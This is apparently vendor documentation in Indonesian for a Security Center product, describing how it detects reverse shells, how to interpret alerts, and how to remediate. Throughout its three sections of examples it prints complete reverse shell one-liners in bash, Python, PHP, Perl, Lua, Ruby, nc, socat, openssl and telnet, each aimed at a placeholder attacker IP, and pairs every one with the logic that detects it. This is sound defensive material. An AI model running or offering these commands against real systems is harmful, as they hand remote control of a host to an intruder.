Security Center:Deteksi dan tangani serangan reverse shell

Prinsip inti

Security Center melampaui deteksi berbasis signature dengan sistem berlapis yang dibangun berdasarkan prinsip-prinsip berikut:

• Melampaui signature tradisional: Berfokus pada perilaku serangan mendasar alih-alih signature statis yang tidak stabil seperti ekspresi reguler.

• Pengumpulan data multi-dimensi: Agen host mengumpulkan data real-time termasuk aktivitas proses, akses file, koneksi jaringan, dan panggilan kernel.

• Analisis cerdas berbasis cloud: Platform big data berbasis cloud melakukan analisis korelasi dan pemodelan perilaku untuk memungkinkan validasi silang.

Sistem defense-in-depth ini menggabungkan analisis cloud dan endpoint untuk mendeteksi serangan yang dikenal maupun belum dikenal dengan akurasi tinggi.

Teknologi deteksi utama

Sistem deteksi menggunakan berbagai teknologi yang merekonstruksi perilaku serangan dari dimensi berbeda untuk validasi silang.

• Analisis deskriptor file (FD)

  • Prinsip dan metode deteksi: Memantau deskriptor file proses secara real time. Jika I/O standar proses shell dialihkan ke socket jaringan, peringatan segera dipicu.

  • Target deteksi utama: Reverse shell yang diluncurkan langsung dengan perintah seperti bash -i >& /dev/tcp/... yang menggunakan pengalihan I/O.

• Analisis urutan perintah abnormal

  • Prinsip dan metode deteksi: Menetapkan garis dasar urutan perintah normal untuk server menggunakan platform big data. Ketika urutan abnormal yang sesuai pola serangan dikenal (seperti reconnaissance atau privilege escalation) terdeteksi, peristiwa tersebut ditandai sebagai berisiko tinggi.

  • Target deteksi utama: Reverse shell yang diimplementasikan melalui bahasa skrip seperti Python atau Perl yang tidak memiliki fitur proses shell yang jelas, serta perilaku gerakan lateral berikutnya.

• Analisis rantai startup proses abnormal

  • Prinsip dan metode deteksi: Menganalisis hubungan induk-anak proses, parameter startup, konteks pengguna, dan perilaku historis untuk mengidentifikasi shell non-interaktif yang diluncurkan oleh proses induk abnormal seperti layanan web.

  • Target deteksi utama: Reverse shell yang dipicu oleh kerentanan web dan disembunyikan dalam lalu lintas layanan normal.

• Analisis mendalam file berbahaya

  • Prinsip dan metode deteksi:

    • Sandbox skrip: Melakukan pelacakan dinamis dan dekompilasi statis pada skrip yang dipertahankan, seperti Bash, Python, dan JAR, untuk mengidentifikasi logika berbahaya dalam kode yang diobfuscate.

    • Sandbox biner: Menganalisis fungsi yang diimpor, struktur kode, dan perilaku dinamis seperti koneksi jaringan dari program terkompilasi seperti C/C++, Go, dan Meterpreter.

  • Target deteksi utama: Trojan skrip yang sangat diobfuscate atau dienkripsi; program reverse shell terkompilasi yang ditulis dalam C/C++, Go, atau dihasilkan oleh Meterpreter.

• Deteksi fitur lalu lintas jaringan adversarial

  • Prinsip dan metode deteksi: Menganalisis lalu lintas jaringan untuk fitur komunikasi shell interaktif dan mendeteksi teknik penghindaran umum, seperti mengganti shell sistem atau mengenkoding perintah.

  • Target deteksi utama: Berfungsi sebagai metode tambahan untuk meningkatkan cakupan pola serangan dan teknik penghindaran yang dikenal.

Aktifkan deteksi reverse shell

Jika Anda mengaktifkan Security Center edisi Enterprise atau lebih tinggi dan agen telah diinstal serta online di server target, deteksi reverse shell diaktifkan secara default.

Analisis dan interpretasi peringatan

Ketika Security Center mendeteksi aktivitas reverse shell yang mencurigakan, buka Agentic SOC > Alert atau Detection and Response > Alert dan buka detail peringatan reverse shell. Fokus pada:

• Tingkat Ancaman: Biasanya Critical, yang menunjukkan bahwa peringatan tersebut memerlukan perhatian dan penanganan segera.

• Informasi Proses: Menampilkan path proses dan parameter command-line yang memicu peringatan. Misalnya, proses /bin/bash -i yang dimulai oleh www-data merupakan indikator risiko tinggi khas.

• Informasi Proses Induk: Menunjukkan sumber proses mencurigakan, membantu melacak jalur serangan. Misalnya, jika proses induk adalah server web (Apache atau Nginx), serangan kemungkinan berasal dari kerentanan web.

• Informasi Koneksi Keluar: Jika tersedia, menampilkan alamat IP dan port remote tempat proses mencurigakan terhubung. Alamat IP ini mengidentifikasi server yang dikendalikan penyerang.

Tangani peringatan

Pada halaman detail peringatan, lakukan tindakan berikut berdasarkan penilaian risiko Anda. Evaluasi dan tangani peringatan keamanan.

• Virus Detection and Removal: Menghentikan proses virus dan memindahkan file virus ke karantina. File yang dikarantina tidak dapat dieksekusi, diakses, atau disebarluaskan.

• Quarantine: Hanya memindahkan file mencurigakan ke karantina tanpa menghentikan proses yang sedang berjalan.

• End Process: Segera menghentikan proses berbahaya yang terkait dengan peringatan untuk memutus serangan dengan cepat.

• Add to Whitelist: Jika peringatan merupakan false positive yang dipicu oleh skrip O&M atau bisnis normal, tambahkan item tersebut ke daftar putih.

  Catatan

  Tetapkan aturan daftar putih berdasarkan path file atau hash MD5 untuk mencegah kejadian serupa memicu peringatan.

Penguatan keamanan

1. Blokir koneksi jaringan

   • Temukan alamat IP penyerang di detail peringatan.

   • Konfigurasikan aturan security group untuk menolak semua akses inbound dan outbound dari alamat IP ini guna memutus sepenuhnya koneksi penyerang.

2. Hapus backdoor persisten

   Penyerang biasanya menyiapkan mekanisme persistensi. Masuk ke server untuk menyelidiki:

   • Periksa tugas terjadwal: Jalankan crontab -l -u <user> (di mana <user> adalah pengguna yang menjalankan proses mencurigakan, seperti root atau www-data) untuk memeriksa entri mencurigakan. Hapus entri berbahaya apa pun dengan crontab -e.

   • Hapus file berbahaya: Gunakan path file dalam peringatan untuk menemukan dan menghapus skrip atau biner berbahaya.

3. Lakukan pemindaian penuh dan perkuat server

   • Di konsol Security Center, gunakan Protection Configuration > Host Protection > Virus Detection and Removal untuk melakukan pemindaian penuh dan deteksi backdoor pada server.

   • Perbaiki kerentanan keamanan pada server untuk menghilangkan titik masuk serangan.

Tipe 1: Pengalihan I/O langsung

• Prinsip inti: Reverse shell jenis ini berkomunikasi melalui jaringan dengan mengalihkan input standar, output standar, dan error standar bash -i ke socket /dev/tcp.

• Pendekatan deteksi: Analisis deskriptor file (FD). Metode ini memantau tabel FD proses untuk mendeteksi apakah I/O standar proses shell dialihkan ke socket jaringan.

• Contoh skenario deteksi:

  • Contoh 1:

    # Contoh 1 (pengalihan I/O bash):
    bash -i >& /dev/tcp/[ATTACKER_IP]/[PORT] 0>&1

    • Deskripsi perilaku:

      • Menggunakan fitur /dev/tcp untuk membuat koneksi TCP ke host remote.

      • Mengalihkan input standar, output, dan error bash ke koneksi jaringan ini untuk mencapai shell interaktif remote.

    • Logika deteksi: Melalui analisis FD, Security Center menemukan bahwa deskriptor file 0/1/2 proses /bin/bash mengarah ke socket jaringan, yang memicu peringatan reverse shell.

  • Contoh 2:

    # Contoh 2 (pengalihan Python):
    python -c '
      import socket, subprocess, os
      s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
      s.connect(("[ATTACKER_IP]", [PORT]))
      os.dup2(s.fileno(), 0)  # Alihkan stdin ke socket
      os.dup2(s.fileno(), 1)  # Alihkan stdout ke socket
      os.dup2(s.fileno(), 2)  # Alihkan stderr ke socket
      subprocess.call(["/bin/sh", "-i"])
      '

    • Deskripsi perilaku:

      • Aktif terhubung ke host remote menggunakan Python dan mengalihkan input standar, output, dan error proses saat ini ke koneksi tersebut.

      • Kemudian, memulai /bin/sh -i sebagai proses anak untuk membuat shell interaktif.

    • Logika deteksi:

      • Analisis FD menangkap hubungan pengalihan antara /bin/sh dan socket.

      • Analisis rantai proses abnormal mengidentifikasi proses shell interaktif yang dimulai oleh python sebagai perilaku berisiko tinggi.

  • Contoh 3:

    # Reverse shell PHP
    php -r '$sock=fsockopen("[ATTACKER_IP]",[PORT]);exec("/bin/sh -i <&3 >&3 2>&3");'

    • Deskripsi perilaku:

      • Aktif terhubung ke host remote menggunakan fungsi PHP fsockopen. Koneksi ini memperoleh deskriptor file (biasanya 3).

      • Kemudian, mengeksekusi proses /bin/sh -i dan secara eksplisit mengalihkan input standar, output standar, dan error standarnya ke deskriptor file 3. Hal ini mengikat shell interaktif ke koneksi jaringan yang telah dibuat.

    • Logika deteksi:

      • Analisis FD menangkap hubungan pengalihan antara /bin/sh dan socket (FD 3). Hal ini menunjukkan bahwa input standar, output, dan error semuanya mengarah ke koneksi jaringan alih-alih terminal atau file biasa.

      • Analisis rantai proses abnormal menemukan bahwa proses php memulai /bin/sh interaktif menggunakan exec, dan I/O shell tersebut diikat ke socket jaringan eksternal. Rantai proses "interpreter skrip → koneksi remote → shell interaktif" ini merupakan karakteristik perilaku kendali remote berisiko tinggi.

  • Contoh 4:

    # Contoh pengalihan Perl
    perl -e 'use Socket;$i="[ATTACKER_IP]";$p=[PORT];socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

    • Deskripsi perilaku:

      • Menggunakan modul Socket Perl untuk membuat socket TCP dan aktif terhubung ke [ATTACKER_IP]:[PORT].

      • Setelah koneksi berhasil, mengalihkan STDIN, STDOUT, dan STDERR proses saat ini ke handle socket S, lalu memulai shell interaktif menggunakan exec("/bin/sh -i").

    • Logika deteksi:

      • Analisis FD menemukan bahwa input standar, output, dan error /bin/sh semuanya mengarah ke socket jaringan yang sama (S) alih-alih terminal atau file biasa. Hal ini menunjukkan hubungan pengalihan yang jelas antara "shell ke socket".

      • Analisis rantai proses abnormal menemukan rantai perilaku di mana proses perl membuat dan terhubung ke socket remote, lalu mengeksekusi /bin/sh -i. Ini merupakan reverse shell berbasis skrip, yang merupakan pola kendali remote berisiko tinggi.

  • Contoh 5:

    # Contoh pengalihan Lua
    lua -e 
    "require('socket');require('os');t=socket.tcp();t:connect('[ATTACKER_IP]','[PORT]');os.execute('/bin/sh -i <&3 >&3 2>&3');"

    • Deskripsi perilaku:

      • Aktif terhubung ke host remote menggunakan pustaka socket Lua. Koneksi ini memperoleh deskriptor file (biasanya 3).

      • Mengeksekusi perintah eksternal /bin/sh -i menggunakan os.execute dan secara eksplisit mengalihkan input standar, output, dan error-nya ke deskriptor file tersebut. Hal ini membuat reverse shell interaktif.

    • Logika deteksi:

      • Analisis FD menangkap hubungan pengalihan input/output antara /bin/sh dan socket jaringan (FD 3). Hal ini menunjukkan bahwa seluruh I/O shell terikat ke koneksi TCP.

      • Analisis rantai proses abnormal mengidentifikasi proses shell interaktif yang dimulai oleh interpreter lua sebagai perilaku berisiko tinggi.

Tipe 2: Perantara melalui pipe atau pseudo-terminal

• Prinsip inti: Jenis ini menggunakan pipe atau pseudo-terminal (PTY) sebagai perantara. I/O shell pertama kali dialihkan ke perantara, lalu proses lain menghubungkan perantara tersebut ke socket jaringan. Dalam beberapa variasi, data dapat melewati beberapa lapis perantara, akhirnya membentuk saluran kendali remote lengkap.

• Pendekatan deteksi: Pelacakan tautan FD dan analisis hubungan proses. Metode ini melacak tautan FD lengkap tempat aliran data mengalir untuk mengidentifikasi rantai proses abnormal yang terhubung ke socket jaringan melalui pipe atau PTY.

• Contoh skenario deteksi:

  • Contoh 1:

    # Perantara menggunakan pipe bernama dan saluran terenkripsi
    mkfifo /tmp/f; /bin/sh -i < /tmp/f 2>&1 | openssl s_client -quiet -connect [ATTACKER_IP]:666 > /tmp/f

    • Deskripsi perilaku:

      • Menggunakan mkfifo untuk membuat pipe bernama /tmp/revpipe, yang berfungsi sebagai perantara untuk input dan output shell.

      • Input untuk /bin/sh -i berasal dari pipe ini, dan output-nya dikirim ke host remote melalui openssl s_client.

      • Hal ini membentuk tautan perantara berlapis: "Shell ↔ Pipe ↔ Koneksi jaringan terenkripsi".

    • Logika deteksi:

      Security Center menggunakan pelacakan tautan FD dan analisis hubungan proses untuk mengidentifikasi bahwa /bin/sh dan openssl terhubung melalui pipe yang akhirnya mengarah ke socket remote, sehingga menemukan perilaku reverse shell.

  • Contoh 2:

    # Contoh campuran nc / socat
    # Gunakan netcat untuk terhubung ke host remote
    nc [ATTACKER_IP] 5050
    
    # Gunakan netcat untuk mengeksekusi /bin/bash
    nc -e /bin/bash [ATTACKER_IP] 6060
    
    # Gunakan netcat dan bash untuk membuat reverse shell interaktif
    nc -c bash [ATTACKER_IP] 6060
    
    # Gunakan socat untuk membuat pseudo-terminal dan terhubung ke host remote
    socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:[ATTACKER_IP]:6060

    • Deskripsi perilaku:

      • Alat seperti nc dan socat dapat langsung mengaitkan shell lokal dengan koneksi TCP remote untuk membentuk reverse shell.

      • Saat menggunakan parameter pty untuk membuat pseudo-terminal, perilakunya lebih mirip sesi terminal normal, sehingga deteksi menjadi lebih sulit.

    • Logika deteksi:

      • Pelacakan tautan FD mengidentifikasi tautan pipe atau pseudo-terminal antara shell dan socket jaringan.

      • Untuk skenario yang menggunakan pty, diperlukan analisis komprehensif terhadap hubungan induk-anak proses dan pola akses jaringan.

  • Contoh 3:

    # mknod pipa bernama
    mknod backpipe p; nc [ATTACKER_IP] 6060 0<backpipe | /bin/bash 1>backpipe 2>backpipe

    • Deskripsi perilaku: 

      • Menggunakan mknod backpipe p untuk membuat pipe bernama backpipe sebagai perantara untuk input/output shell.

      • Proses nc terhubung ke host remote, dan input-nya dialihkan dari pipe ini.

      • nc [ATTACKER_IP] 6060 0<backpipe menggunakan backpipe sebagai input standar untuk nc, menerima perintah dari ujung remote, dan menuliskannya ke pipe.

      • Output standar dan error /bin/bash keduanya dialihkan ke backpipe lalu dikirim ke ujung remote oleh nc.

    • Logika deteksi:

      • Pelacakan tautan FD dapat menemukan bahwa /bin/bash dan nc terkait melalui pipe bernama dan akhirnya terhubung ke socket remote.

      • File pipe bernama (seperti backpipe) yang dibuka bersamaan oleh shell dan alat jaringan merupakan tautan berisiko tinggi.

      • Sistem membuat keputusan dengan menggabungkan hubungan induk-anak proses (seperti proses nc atau bash yang dimulai oleh layanan web atau tugas terjadwal) dengan perilaku koneksi keluar abnormal.

  • Contoh 4:

    # Buat koneksi menggunakan file bawaan Bash
    bash -c 'exec 5<>/dev/tcp/[ATTACKER_IP]/6060;cat <&5|while read line;do $line >&5 2>&1;done'

    • Deskripsi perilaku:

      • Menggunakan file pseudo /dev/tcp bawaan Bash untuk langsung membuat koneksi TCP ke port 6060 di host remote dan mengikatnya ke deskriptor file 5.

      • cat <&5 membaca perintah dari socket remote, yang diteruskan melalui pipe ke loop while read line; do $line ... untuk dieksekusi.

      • Output standar dan error setiap perintah dialihkan kembali ke FD 5, koneksi TCP asli, dan dikembalikan ke ujung remote.

      • Secara keseluruhan, perilaku ini merupakan implementasi Bash murni dari "saluran TCP bawaan + loop eksekusi perintah", yaitu perilaku kendali remote atau reverse tanpa alat eksternal yang jelas.

    • Logika deteksi:

      • Analisis FD menemukan bahwa proses Bash secara langsung memegang FD socket yang mengarah ke alamat IP atau port remote (dibuat melalui /dev/tcp).

      • Analisis urutan perintah abnormal: Proses Bash tunggal mempertahankan koneksi keluar jangka panjang dan mengeksekusi banyak perintah sistem.

  • Contoh 5:

    telnet [ATTACKER_IP] 6060 | /bin/bash | telnet[ATTACKER_IP] 5050

    • Deskripsi perilaku: 

      • Hal ini membuat saluran relai perintah yang menghubungkan dua proses telnet dan satu proses bash dengan dua pipe.

      • Proses telnet pertama menerima perintah dari host remote dan meneruskannya ke bash untuk dieksekusi.

      • Hasil eksekusi bash kemudian dikirim ke alamat remote lain melalui proses telnet kedua.

      • Input dan output ditangani melalui koneksi jaringan berbeda. Metode ini dapat digunakan untuk menyembunyikan titik akhir kendali sebenarnya atau melakukan penerusan multi-hop, sehingga pelacakan dan deteksi menjadi lebih sulit.

    • Logika deteksi:

      • Analisis rantai proses abnormal mengungkap hubungan pemanggilan yang sangat tidak biasa: telnet -> bash -> telnet.

      • Untuk alat interaktif tradisional seperti telnet, deteksi menggabungkan rantai proses (proses telnet yang melewati dan menempel ke bash) dengan pola abnormal pada alamat IP atau port tujuan.

      • Hubungan pipe jangka panjang antara proses bash dan proses jaringan, tanpa TTY terminal lokal yang sesuai, ditandai sebagai sesi shell remote mencurigakan.

  • Contoh 6: Perantara menggunakan pseudo-terminal. Jenis ini lebih sulit dideteksi dan memerlukan analisis kontekstual komprehensif.

    # Perantara menggunakan pseudo-terminal Python
    python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("[ATTACKER_IP]",10006));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

    • Deskripsi perilaku:

      • Setelah menyelesaikan pengalihan FD, alih-alih langsung mengeksekusi /bin/sh -i, memulai bash dalam pseudo-terminal menggunakan pty.spawn.

      • Pseudo-terminal membuat reverse shell berperilaku lebih mirip sesi login nyata (seperti SSH atau sesi screen), sehingga meningkatkan stealth serangan.

    • Logika deteksi:

      • Analisis FD masih dapat mengidentifikasi asosiasi antara bash dan socket jaringan.

      • Pada saat yang sama, harus dikombinasikan dengan konteks proses (proses induk adalah Python) dan pola komunikasi jaringan untuk menghindari kebingungan dengan terminal O&M normal.

Tipe 3: Eksekusi tertanam dalam bahasa skrip

• Prinsip inti: Alih-alih menggunakan fitur pengalihan shell secara langsung, logika diimplementasikan dalam bahasa skrip seperti Python atau Ruby. Kode menerima perintah jaringan, memanggil fungsi seperti subprocess atau exec untuk mengeksekusinya, lalu mengirim hasilnya kembali.

• Pendekatan deteksi: Analisis urutan perilaku dan model startup abnormal. Karena logika serangan dibungkus dalam kode, deteksi memerlukan analisis tingkat lebih tinggi. Ancaman dideteksi dengan menganalisis urutan perintah abnormal, seperti perilaku reconnaissance setelah mendapatkan shell, atau dengan mengidentifikasi shell yang dimulai oleh proses induk abnormal seperti layanan web.

• Contoh skenario deteksi:

  • Contoh 1:

    # Loop eksekusi perintah tertanam Python
      python -c '
      import socket, subprocess
      s = socket.socket()
      s.connect(('[ATTACKER_IP]', [PORT]))
      while True:
          cmd = s.recv(1024)                       # Terima perintah dari host remote
          proc = subprocess.Popen(
              cmd,
              shell=True,
              stdout=subprocess.PIPE,
              stderr=subprocess.PIPE,
              stdin=subprocess.PIPE
          )
          s.send(proc.stdout.read() + proc.stderr.read())  # Kirim kembali hasil eksekusi perintah
      '

    • Deskripsi perilaku:

      Hal ini tidak secara eksplisit memulai proses shell. Sebaliknya, dalam proses Python, hal ini:

      • Terus-menerus membaca perintah dari koneksi jaringan.

      • Mengeksekusi perintah sistem menggunakan subprocess.Popen.

      • Mengirim output standar dan error kembali ke host remote melalui jaringan.

      • Secara eksternal, berperilaku seperti "koneksi persisten + mesin eksekusi perintah", yang lebih mirip pola perilaku trojan atau program kendali remote.

    • Logika deteksi:

      Jenis serangan ini sering kali tidak memiliki fitur pengalihan shell eksplisit dan lebih bergantung pada:

      • Analisis urutan perintah abnormal: Seperti mengeksekusi banyak perintah reconnaissance atau privilege escalation dalam waktu singkat.

      • Analisis rantai startup proses abnormal: Jika proses induk proses Python adalah komponen yang tidak diharapkan, seperti server web, maka ditandai sebagai berisiko tinggi.

  • Contoh 2:

    # Loop eksekusi perintah tertanam Lua
    lua5.1 -e 'local host, port = "[ATTACKER_IP]", 6060 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, "r") local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'

    • Deskripsi perilaku:

      • Proses Lua menggunakan pustaka socket untuk aktif terhubung ke host remote dan membuat koneksi persisten.

      • Dalam loop, proses terus-menerus menerima perintah dari koneksi jaringan dan memanggil io.popen untuk membuat proses anak guna mengeksekusi setiap perintah.

      • Proses mengirim hasil eksekusi perintah lengkap kembali ke host remote. Pola perilaku ini sangat mirip dengan Contoh 1 dan menciptakan backdoor eksekusi perintah remote berbasis Lua.

    • Logika deteksi:

      • Analisis urutan perintah abnormal: Memantau perintah berurutan yang dieksekusi dalam periode singkat untuk menentukan apakah urutannya sesuai pola serangan, seperti reconnaissance atau privilege escalation.

      • Analisis rantai startup proses abnormal: Menandai proses Lua sebagai berisiko tinggi jika dimulai oleh proses induk yang tidak diharapkan, seperti server web (OpenResty atau Nginx).

  • Contoh 3:

    ruby -rsocket -e 'exit if fork;c=TCPSocket.new("[ATTACKER_IP]","6060");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

    • Deskripsi perilaku: Skrip Ruby ini dirancang untuk stealth.

      • Pertama, skrip menggunakan exit if fork untuk membuat proses anak dan menghentikan proses induk. Hal ini memungkinkan proses backdoor berjalan di latar belakang, terlepas dari terminal saat ini.

      • Proses anak kemudian terhubung ke host remote, menerima perintah dalam loop, mengeksekusinya menggunakan IO.popen, dan mengirim hasilnya kembali. Teknik "backgrounding" ini merupakan teknik persistensi dan stealth khas.

    • Logika deteksi:

      • Analisis perilaku proses abnormal: Fokus pada perilaku di mana proses induk segera keluar setelah fork. Hal ini merupakan karakteristik program trojan yang membuat proses daemon latar belakang.

      • Analisis rantai startup proses abnormal: Menganalisis hubungan antara proses Ruby latar belakang dan proses induknya.

      • Analisis urutan perintah abnormal: Melakukan analisis asosiasi pada perintah berikutnya yang dieksekusi.